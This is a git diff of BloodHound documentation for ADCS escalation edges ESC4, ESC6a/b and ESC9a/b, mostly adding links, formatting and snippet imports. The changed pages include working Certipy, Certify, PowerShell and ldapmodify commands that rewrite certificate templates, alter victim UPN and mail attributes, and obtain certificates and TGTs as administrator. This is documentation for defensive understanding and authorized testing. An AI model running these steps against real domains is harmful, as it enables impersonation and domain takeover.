-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.
+
Step 2: Use the enrollment agent certificate to issue a certificate request on behalf of another user to a certificate template that allow for authentication and permit enrollment agent enrollment.
```bash
certipy req -u 'user@corp.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name
```
-Save the certificate as itadminenrollment.pem and the private key as itadminenrollment.key. If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the target principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. Choose another target with the given attribute set.
+Save the certificate as itadminenrollment.pem and the private key as itadminenrollment.key. If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the target principal does not have their `mail` or `dNSHostName` attribute set, which is required by the certificate template. Choose another target with the given attribute set.
Step 3: Request a ticket granting ticket (TGT) from the domain, specifying the target identity to impersonate and the PFX-formatted certificate created in Step 2.
@@ -65,10 +69,7 @@ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
```
## Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy
-of that certificate in its issued certificates store. Defenders may analyze those issued certificates to
-identify illegitimately issued certificates and identify the principal that requested the certificate, as
-well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
diff --git a/docs/resources/edges/adcs-esc4.mdx b/docs/resources/edges/adcs-esc4.mdx
index e0b0875b..9ab7ef09 100644
--- a/docs/resources/edges/adcs-esc4.mdx
+++ b/docs/resources/edges/adcs-esc4.mdx
@@ -3,8 +3,9 @@ title: ADCSESC4
description: "The ADCSESC4 edge indicates that the principal has the privileges to perform the ADCS ESC4 abuse against the target AD domain."
---
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-
+
The principal has permissions to modify the settings on one or more certificate templates, enabling the principal configure the certificate templates for ADCS ESC1 conditions, which allows them to specify an alternate subject name and use the certificate for authentication. They also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication and chains up to a root CA for the forest. This setup lets the principal modify the certificate templates to allow enrollment as any targeted AD forest user or computer without knowing their credentials, and impersonation of those targets by certificate authentication.
@@ -15,7 +16,7 @@ An attacker may perform this attack in the following steps:
### Step 0.1: Obtain ownership (WriteOwner only)
-If you only have WriteOwner on the affected certificate template, then you need to grant your principal ownership over the template.
+If you only have [WriteOwner](/resources/edges/write-owner) on the affected certificate template, then you need to grant your principal ownership over the template.
#### Windows
@@ -71,11 +72,11 @@ After abuse, set the ownership back to previous owner using the second script.
### Step 0.2: Obtain GenericAll (WriteOwner, Owns, or WriteDacl only)
-If you only have WriteOwner, Owns, or WriteDacl on the affected certificate template, then you need to grant your principal GenericAll over the template.
+If you only have [WriteOwner](/resources/edges/write-owner), [Owns](/resources/edges/owns), or [WriteDacl](/resources/edges/write-dacl) on the affected certificate template, then you need to grant your principal [GenericAll](/resources/edges/generic-all) over the template.
#### Windows
-Use the following PowerShell snippet to grant the principal GenericAll on the certificate template:
+Use the following PowerShell snippet to grant the principal [GenericAll](/resources/edges/generic-all) on the certificate template:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -159,9 +160,9 @@ dacledit.py -action 'remove' -rights 'FullControl' -principal 'attacker' -target
### Step 0.3: Make certificate template ESC1 abusable (Linux only)
-If you have an GenericAll edge to the CertTemplate node, or if you have just granted yourself GenericAll, then you can use this step from a Linux host to make the template abuseable to ESC1 using Certipy.
+If you have an [GenericAll](/resources/edges/generic-all) edge to the [CertTemplate](/resources/nodes/cert-template) node, or if you have just granted yourself GenericAll, then you can use this step from a Linux host to make the template abuseable to ESC1 using Certipy.
-If you do not have GenericAll on the CertTemplate or if you are operation from a Windows host, continue to the next step.
+If you do not have [GenericAll](/resources/edges/generic-all) on the [CertTemplate](/resources/nodes/cert-template) or if you are operation from a Windows host, continue to the next step.
Overwrite the configuration of the certificate template to make it vulnerable to ESC1:
@@ -179,11 +180,11 @@ The certificate template is now vulnerable to the ESC1 technique. See [ADCSESC1]
### Step 1: Ensure the certificate template allows for client authentication
-The certificate template allows for client authentication if the CertTemplate node's Authentication Enabled (authenticationenabled) is set to True. In that case, continue to the next step.
+The certificate template allows for client authentication if the [CertTemplate](/resources/nodes/cert-template) node's Authentication Enabled (`authenticationenabled`) is set to True. In that case, continue to the next step.
#### Windows
-Use the following PowerShell snippet to check the values of the pKIExtendedKeyUsage and msPKI-Certificate-Application-Policy attributes of the certificate template:
+Use the following PowerShell snippet to check the values of the `pKIExtendedKeyUsage` and `msPKI-Certificate-Application-Policy` attributes of the certificate template:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -253,7 +254,7 @@ Verify the EKU has been removed using the first PowerShell snippet.
#### Linux
-Check the current value of the msPKI-Certificate-Application-Policy and pKIExtendedKeyUsage attribute on the certificate template using ldapsearch and note it down for later:
+Check the current value of the `msPKI-Certificate-Application-Policy` and `pKIExtendedKeyUsage` attribute on the certificate template using ldapsearch and note it down for later:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-Certificate-Application-Policy
@@ -279,13 +280,13 @@ echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: ATTRIBUTE\nATTRIBUTE: EKU
### Step 2: Ensure the certificate template requires enrollee to specify Subject Alternative Name (SAN)
-The certificate template requires the enrollee to specify SAN if the CertTemplate node's Enrollee Supplies Subject (enrolleesuppliessubject) is set to True. In that case, continue to the next step.
+The certificate template requires the enrollee to specify SAN if the [CertTemplate](/resources/nodes/cert-template) node's Enrollee Supplies Subject (`enrolleesuppliessubject`) is set to True. In that case, continue to the next step.
-The certificate template requires the enrollee to specify SAN if the CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT flag is enabled in the certificate template's msPKI-Certificate-Name-Flag attribute.
+The certificate template requires the enrollee to specify SAN if the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is enabled in the certificate template's `msPKI-Certificate-Name-Flag` attribute.
#### Windows
-Use the following PowerShell snippet to check the value of the msPKI-Certificate-Name-Flag attribute of the certificate template and its enabled flags:
+Use the following PowerShell snippet to check the value of the `msPKI-Certificate-Name-Flag` attribute of the certificate template and its enabled flags:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -325,7 +326,7 @@ Write-Host "0x$("{0:X8}" -f $flag) $($flagTable[$flag])"
}
```
-Flip the CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT flag:
+Flip the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -348,18 +349,18 @@ $ldap.Close()
```
To run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.
-Run the first PowerShell snippet again to confirm the CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT flag has been enabled.
+Run the first PowerShell snippet again to confirm the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag has been enabled.
After abuse, remove the flag by running the script that flips the flag once again.
#### Linux
-Check the current value of the msPKI-Certificate-Name-Flag attribute on the certificate template using ldapsearch and note it down for later:
+Check the current value of the `msPKI-Certificate-Name-Flag` attribute on the certificate template using ldapsearch and note it down for later:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-Certificate-Name-Flag
```
-Set the CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT flag as the only enabled flag using ldapmodify:
+Set the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag as the only enabled flag using ldapmodify:
```bash
echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: msPKI-Certificate-Name-Flag\nmsPKI-Certificate-Name-Flag: 1" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
@@ -371,13 +372,13 @@ After abuse, set the attribute back to the original value by running the command
### Step 3: Ensure the certificate template does not require manager approval
-The certificate template does not require manager approval if the CertTemplate node's Requires Manager Approval (requiresmanagerapproval) is set to False. In that case, continue to the next step.
+The certificate template does not require manager approval if the [CertTemplate](/resources/nodes/cert-template) node's Requires Manager Approval (`requiresmanagerapproval`) is set to False. In that case, continue to the next step.
-The certificate template requires manager approval if the CT\_FLAG\_PEND\_ALL\_REQUESTS flag is enabled in the certificate template's msPKI-Enrollment-Flag attribute.
+The certificate template requires manager approval if the `CT_FLAG_PEND_ALL_REQUESTS` flag is enabled in the certificate template's `msPKI-Enrollment-Flag` attribute.
#### Windows
-Use the following PowerShell snippet to check the value of the msPKI-Enrollment-Flag attribute of the certificate template and its enabled flags:
+Use the following PowerShell snippet to check the value of the `msPKI-Enrollment-Flag` attribute of the certificate template and its enabled flags:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -421,7 +422,7 @@ Write-Host "0x$("{0:X8}" -f $flag) $($flagTable[$flag])"
}
}
```
-Flip the CT\_FLAG\_PEND\_ALL\_REQUESTS flag:
+Flip the `CT_FLAG_PEND_ALL_REQUESTS` flag:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -446,18 +447,18 @@ $ldap.Close()
To run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.
-Run the first PowerShell snippet again to confirm the CT\_FLAG\_PEND\_ALL\_REQUESTS flag has been enabled.
+Run the first PowerShell snippet again to confirm the `CT_FLAG_PEND_ALL_REQUESTS` flag has been enabled.
After abuse, remove the flag by running the script that flips the flag once again.
#### Linux
-Check the current value of the msPKI-Enrollment-Flag attribute on the certificate template using ldapsearch and note it down for later:
+Check the current value of the `msPKI-Enrollment-Flag` attribute on the certificate template using ldapsearch and note it down for later:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-Enrollment-Flag
```
-Remove all flags from msPKI-Enrollment-Flag using ldapmodify:
+Remove all flags from `msPKI-Enrollment-Flag` using ldapmodify:
```bash
echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: msPKI-Enrollment-Flag\nmsPKI-Enrollment-Flag: 0" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
@@ -468,13 +469,13 @@ After abuse, set the attribute back to the original value by running the command
### Step 4: Ensure the certificate template does not require authorized signatures
-The certificate template does not require authorized signatures if the CertTemplate node's Authorized Signatures Required (authorizedsignatures) is set to 0 or if the Schema Version (schemaversion) is 1. In that case, continue to the next step.
+The certificate template does not require authorized signatures if the [CertTemplate](/resources/nodes/cert-template) node's Authorized Signatures Required (`authorizedsignatures`) is set to 0 or if the Schema Version (`schemaversion`) is 1. In that case, continue to the next step.
-The certificate template requires authorized signatures if the certificate template's msPKI-RA-Signature attribute value is more than zero.
+The certificate template requires authorized signatures if the certificate template's `msPKI-RA-Signature` attribute value is more than zero.
#### Windows
-Use the following PowerShell snippet to check the value of the msPKI-RA-Signature attribute:
+Use the following PowerShell snippet to check the value of the `msPKI-RA-Signature` attribute:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -491,7 +492,7 @@ $template = $searcher.FindOne().GetDirectoryEntry()
Write-Host "msPKI-RA-Signature: $($template.Properties["msPKI-RA-Signature"])"
$ldap.Close()
```
-Set msPKI-RA-Signature to 0:
+Set `msPKI-RA-Signature` to 0:
```bash
$templateName = "TemplateName" # Use CN, not display name
@@ -513,19 +514,19 @@ $ldap.Close()
```
To run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.
-Run the first PowerShell snippet again to confirm the msPKI-RA-Signature attribute has been set.
+Run the first PowerShell snippet again to confirm the `msPKI-RA-Signature` attribute has been set.
-After abuse, set the msPKI-RA-Signature attribute back to the original value by running PowerShell snippet that sets the value, but with the original value instead of 0.
+After abuse, set the `msPKI-RA-Signature` attribute back to the original value by running PowerShell snippet that sets the value, but with the original value instead of 0.
#### Linux
-Check the current value of the msPKI-RA-Signature attribute on the certificate template using ldapsearch and note it down for later:
+Check the current value of the `msPKI-RA-Signature` attribute on the certificate template using ldapsearch and note it down for later:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-RA-Signature
```
-Remove all flags from msPKI-RA-Signature using ldapmodify:
+Remove all flags from `msPKI-RA-Signature` using ldapmodify:
```bash
echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: msPKI-RA-Signature\nmsPKI-RA-Signature: 0" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
@@ -548,7 +549,7 @@ If a path is returned, continue to the next step.
#### Windows
-Use the following PowerShell snippet to grant the principal Enroll on the certificate template:
+Use the following PowerShell snippet to grant the principal [Enroll](/resources/edges/enroll) on the certificate template:
```bash
$templateName = "TemplateName" # Use CN, not display name
diff --git a/docs/resources/edges/adcs-esc6a.mdx b/docs/resources/edges/adcs-esc6a.mdx
index 0e087801..b905be8f 100644
--- a/docs/resources/edges/adcs-esc6a.mdx
+++ b/docs/resources/edges/adcs-esc6a.mdx
@@ -3,12 +3,16 @@ title: ADCSESC6a
description: The principal has permission to enroll on one or more certificate templates allowing for authentication.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsEnrollmentIdentityAttributes from '/snippets/edges/adcs-enrollment-identity-attributes.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+
+
They also have enrollment permission for an enterprise CA with the necessary templates published. This
enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest.
-The enterprise CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag allowing enrollees to
+The enterprise CA is configured with the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag allowing enrollees to
specify a Subject Alternate Name (SAN) identifying another principal during certificate enrollment of
any published certificate template. This setup allow an attacker principal to obtain a malicious
certificate as any AD forest user or computer and use it for authentication and impersonation without
@@ -26,7 +30,7 @@ Certify.exe request --ca rootdomaindc.forestroot.com\forestroot-RootDomainDC-CA
The certificate PFX is printed to the console in a base64-encoded format.
-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.
+
Step 2: With Rubeus, use the certificate to authenticate to the domain and request a TGT, specifying the identity you intend to impersonate:
@@ -49,7 +53,7 @@ certification authority and target principal to impersonate:
certipy req -u john@corp.local -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC6 -upn administrator@corp.local
```
-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.
+
Step 2: Request a ticket granting ticket (TGT) from the domain, specifying the certificate created in Step 1 and the IP of a domain controller::
@@ -63,10 +67,7 @@ supported by Certipy. See the Windows abuse section for example.
## Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy
-of that certificate in its issued certificates store. Defenders may analyze those issued certificates to
-identify illegitimately issued certificates and identify the principal that requested the certificate, as
-well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
diff --git a/docs/resources/edges/adcs-esc6b.mdx b/docs/resources/edges/adcs-esc6b.mdx
index fe9df55e..a3ad1527 100644
--- a/docs/resources/edges/adcs-esc6b.mdx
+++ b/docs/resources/edges/adcs-esc6b.mdx
@@ -3,12 +3,15 @@ title: ADCSESC6b
description: The principal has permission to enroll on one or more certificate templates allowing for authentication.
---
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsEnrollmentIdentityAttributes from '/snippets/edges/adcs-enrollment-identity-attributes.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
-
+
-They also have enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. The enterprise CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag allowing enrollees to specify a Subject Alternate Name (SAN) identifying another principal during certificate enrollment of any published certificate template. This setup allows an attacker principal to obtain a malicious certificate as another principal. There is an affected Domain Controller configured to allow weak certificate mapping enforcement, which enables the attacker principal to authenticate with the malicious certificate and thereby impersonating any AD forest user or computer without their credentials.
+They also have enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. The enterprise CA is configured with the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag allowing enrollees to specify a Subject Alternate Name (SAN) identifying another principal during certificate enrollment of any published certificate template. This setup allows an attacker principal to obtain a malicious certificate as another principal. There is an affected Domain Controller configured to allow weak certificate mapping enforcement, which enables the attacker principal to authenticate with the malicious certificate and thereby impersonating any AD forest user or computer without their credentials.
## Abuse Info
@@ -22,7 +25,7 @@ Certify.exe request --ca rootdomaindc.forestroot.com\forestroot-RootDomainDC-CA
The certificate PFX is printed to the console in a base64-encoded format.
-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.
+
Step 2: With Rubeus, use the certificate to authenticate to the domain and request a TGT, specifying the identity you intend to impersonate:
@@ -44,7 +47,7 @@ certification authority and target principal to impersonate:
```bash
certipy req -u john@corp.local -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC6 -upn administrator@corp.local
```
-If the enrollment fails with an error message stating that the Email or DNS name is unavailable and cannot be added to the Subject or Subject Alternate name, then it is because the enrollee principal does not have their 'mail' or 'dNSHostName' attribute set, which is required by the certificate template. The 'mail' attribute can be set on both user and computer objects but the 'dNSHostName' attribute can only be set on computer objects. Computers have validated write permission to their own 'dNSHostName' attribute by default, but neither users nor computers can write to their own 'mail' attribute by default.
+
Step 2: Request a ticket granting ticket (TGT) from the domain, specifying the certificate created in Step 1 and the IP of a domain controller::
@@ -54,10 +57,7 @@ certipy auth -pfx administrator.pfx -dc-ip 172.16.126.128
## Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy
-of that certificate in its issued certificates store. Defenders may analyze those issued certificates to
-identify illegitimately issued certificates and identify the principal that requested the certificate, as
-well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
@@ -75,4 +75,4 @@ This edge is related to the following MITRE ATT&CK tactic and techniques:
* Certipy 4.0
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
-* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
\ No newline at end of file
+* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
diff --git a/docs/resources/edges/adcs-esc9a.mdx b/docs/resources/edges/adcs-esc9a.mdx
index 1e29a217..25c0734b 100644
--- a/docs/resources/edges/adcs-esc9a.mdx
+++ b/docs/resources/edges/adcs-esc9a.mdx
@@ -3,7 +3,12 @@ title: ADCSESC9a
description: "The principal has control over a victim principal with permission to enroll on one or more certificate templates, configured to: 1) enable certificate authentication, 2) require the `userPrincipalName` (UPN) of the enrollee included in the Subject Alternative Name (SAN), and 3) do not have the security extension enabled."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+import AdcsVictimMailRequirements from '/snippets/edges/adcs-victim-mail-requirements.mdx';
+import AdcsVictimSessionOptions from '/snippets/edges/adcs-victim-session-options.mdx';
+
+
The victim also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication in the forest, and chains up to a root CA for the forest. There is an affected Domain Controller (DC) configured to allow weak certificate binding enforcement. This setup lets the principal impersonate any AD forest principal (user or computer) without their credentials. The attacker principal can abuse their control over the victim principal to modify the victim's UPN to match the `sAMAccountName` of a targeted principal. Example: If the targeted principal is Administrator@corp.local user, the victim's UPN will be populated with "Administrator" (without the @corp.local ending). The attacker principal will then abuse their control over the victim principal to obtain the credentials of the victim principal, or a session as the victim principal, and enroll a certificate as the victim in one of the affected certificate templates. The UPN of the victim ("Administrator") will be included in the issued certificate under the SAN. As the certificate template does not have the security extension, it will NOT include the SID of the victim user in the issued certificate. Next, the attacker principal will again set the UPN of the victim, this time to an arbitrary string (e.g. the original value). The issued certificate can now be used for authentication against an affected DC. The weak certificate binding configuration on the DC will make the DC accept that the SID of the victim user is not present in the issued certificate when performing Kerberos authentication, and it will use the SAN value to map the certificate to a principal. The DC will attempt to find a principal with a UPN matching the SAN value ("Administrator") but as the victim's UPN has been changed after the enrollment, there will be no principals with this UPN. The DC will then attempt to find a principal with a `sAMAccountName` matching the SAN value and find the targeted user. At last, the DC issues a Kerberos TGT as the targeted user to the attacker, which means the attacker now has a session as the targeted user. In case the target is a computer, the DC will find it as well as the DC will attempt `sAMAccountName` matching with a $ at the end of the SAN value as last resort.
@@ -17,45 +22,29 @@ Step 1: Set UPN of victim to targeted principal's `sAMAccountName`. Set the UPN
```PowerShell
Set-DomainObject -Identity VICTIM -Set @{'userprincipalname'='Target'}
```
-Step 2: Check if the 'mail' attribute of victim must be set and set it if required.
-
-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
-
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 3.
+Step 2: Check if the `mail` attribute of victim must be set and set it if required.
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
+
-Check if the victim has the mail attribute set using PowerView:
+Check if the victim has the `mail` attribute set using PowerView:
```PowerShell
Get-DomainObject -Identity VICTIM -Properties mail
```
-If the victim has the mail attribute set, continue to Step 3.
+If the victim has the `mail` attribute set, continue to Step 3.
-If the victim does not has the mail attribute set, set it to a dummy mail using PowerView:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using PowerView:
```PowerShell
Set-DomainObject -Identity VICTIM -Set @{'mail'='dummy@mail.com'}
```
Step 3: Obtain a session as victim. There are several options for this step.
-If the victim is a computer, you can obtain the credentials of the computer account using the Shadow
-Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-
-Alternatively, you can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see [GenericAll edge](/resources/edges/generic-all) documentation).
-
-If the victim is a user, you have the following options for obtaining the credentials:
-
-* Shadow Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-* Password reset (see [ForceChangePassword edge](/resources/edges/force-change-password) documentation).
-* Targeted Kerberoasting (see [WriteSPN edge](/resources/edges/write-spn) documentation).
+
Step 4: Enroll certificate as victim.
-Use Certify (2.0) as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Use Certify (2.0) as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```cmd
Certify.exe request --ca SERVER\CA-NAME --template TEMPLATE
@@ -85,46 +74,30 @@ Step 1: Set UPN of victim to targeted principal's `sAMAccountName`. Set the UPN
```bash
certipy account update -username ATTACKER@CORP.LOCAL -password PWD -user VICTIM -upn Target
```
-Step 2: Check if the 'mail' attribute of victim must be set and set it if required.
+Step 2: Check if the `mail` attribute of victim must be set and set it if required.
-If the certificate template is of schema version 2 or above, and its attribute 'msPKI-CertificateNameFlag' contains the flag SUBJECT\_REQUIRE\_EMAIL and/or SUBJECT\_ALT\_REQUIRE_EMAIL, then the victim principal must have their mail attribute set for the certificate enrollment. The CertTemplate BloodHound node will have "Subject Require Email" or "Subject Alternative Name Require Email" set to true if any of the flags are present.
+
-If the certificate template is of schema version 1 or does not have any of the email flags, then
-continue to Step 3.
-
-If any of the two flags are present, you will need the victim's mail attribute to be set. The value of
-the attribute will be included in the issues certificate but it is not used to identify the target
-principal why it can be set to any arbitrary string.
-
-Check if the victim has the mail attribute set using ldapsearch:
+Check if the victim has the `mail` attribute set using ldapsearch:
```bash
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "VICTIM-DN" mail
```
-If the victim has the mail attribute set, continue to Step 3.
+If the victim has the `mail` attribute set, continue to Step 3.
-If the victim does not has the mail attribute set, set it to a dummy mail using ldapmodify:
+If the victim does not has the `mail` attribute set, set it to a dummy mail using ldapmodify:
```bash
echo -e "dn: VICTIM-DN\nchangetype: modify\nreplace: mail\nmail: test@mail.com" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
```
Step 3: Obtain a session as victim. There are several options for this step.
-If the victim is a computer, you can obtain the credentials of the computer account using the Shadow
-Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-
-Alternatively, you can obtain a session as SYSTEM on the host, which allows you to interact with AD as the computer account, by abusing control over the computer AD object (see [GenericAll edge](/resources/edges/generic-all) documentation).
-
-If the victim is a user, you have the following options for obtaining the credentials:
-
-* Shadow Credentials attack (see [AddKeyCredentialLink edge](/resources/edges/add-key-credential-link) documentation).
-* Password reset (see [ForceChangePassword edge](/resources/edges/force-change-password) documentation).
-* Targeted Kerberoasting (see [WriteSPN edge](/resources/edges/write-spn) documentation).
+
Step 4: Enroll certificate as victim.
-Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected EnterpriseCA:
+Use Certipy as the victim principal to request enrollment in the affected template, specifying the affected [EnterpriseCA](/resources/nodes/enterprise-ca):
```bash
certipy req -u VICTIM@CORP.LOCAL -p PWD -ca CA-NAME -target SERVER -template TEMPLATE
@@ -146,7 +119,7 @@ Request a ticket granting ticket (TGT) from the domain, specifying the certifica
## Opsec Considerations
-When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.
+
## Edge Schema
@@ -170,4 +143,4 @@ This edge is related to the following MITRE ATT&CK tactic and techniques:
* [LDAPSearch](https://linux.die.net/man/1/ldapsearch)
* [LDAPModify](https://linux.die.net/man/1/ldapmodify)
* [Certified Pre-Owned - Abusing Active Directory Certificate Services](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
-* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
\ No newline at end of file
+* [ADCS Attack Paths in BloodHound—Part 3](https://specterops.io/blog/2024/09/11/adcs-attack-paths-in-bloodhound-part-3/)
diff --git a/docs/resources/edges/adcs-esc9b.mdx b/docs/resources/edges/adcs-esc9b.mdx
index d2701c27..c9b5858f 100644
--- a/docs/resources/edges/adcs-esc9b.mdx
+++ b/docs/resources/edges/adcs-esc9b.mdx
@@ -3,7 +3,12 @@ title: ADCSESC9b
description: "The principal has control over a victim computer with permission to enroll on one or more certificate templates, configured to: 1) enable certificate authentication, 2) require the `dNSHostName` of the enrollee included in the Subject Alternative Name (SAN), and 3) not have the security extension enabled."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsCertificateIssuanceOpsec from '/snippets/edges/adcs-certificate-issuance-opsec.mdx';
+import AdcsVictimMailRequirements from '/snippets/edges/adcs-victim-mail-requirements.mdx';
+import AdcsDnshostnameSpnNote from '/snippets/edges/adcs-dnshostname-spn-note.mdx';
+
+
@@ -17,7 +22,7 @@ The attacker principal can abuse their control over the victim computer to modif
Step 1: Remove SPNs including `dNSHostName` on victim.
-The SPNs of the victim will be automatically updated when you change the `dNSHostName`. AD will not allow the same SPN entry to be set on two accounts. Therefore, you must remove any SPN on the victim account that includes the victim's `dNSHostName`.
+
Set SPN of the victim computer using PowerView:
@@ -32,26 +37,19 @@ Set the `dNSHostName` of the victim computer using PowerView:
```PowerShell
Set-DomainObject -Identity VICTIM -Set @{'dnshostname'='target.corp.local'}
```
-Step 3: Check if the 'mail' attribute of victim must be set and set it if required.
-
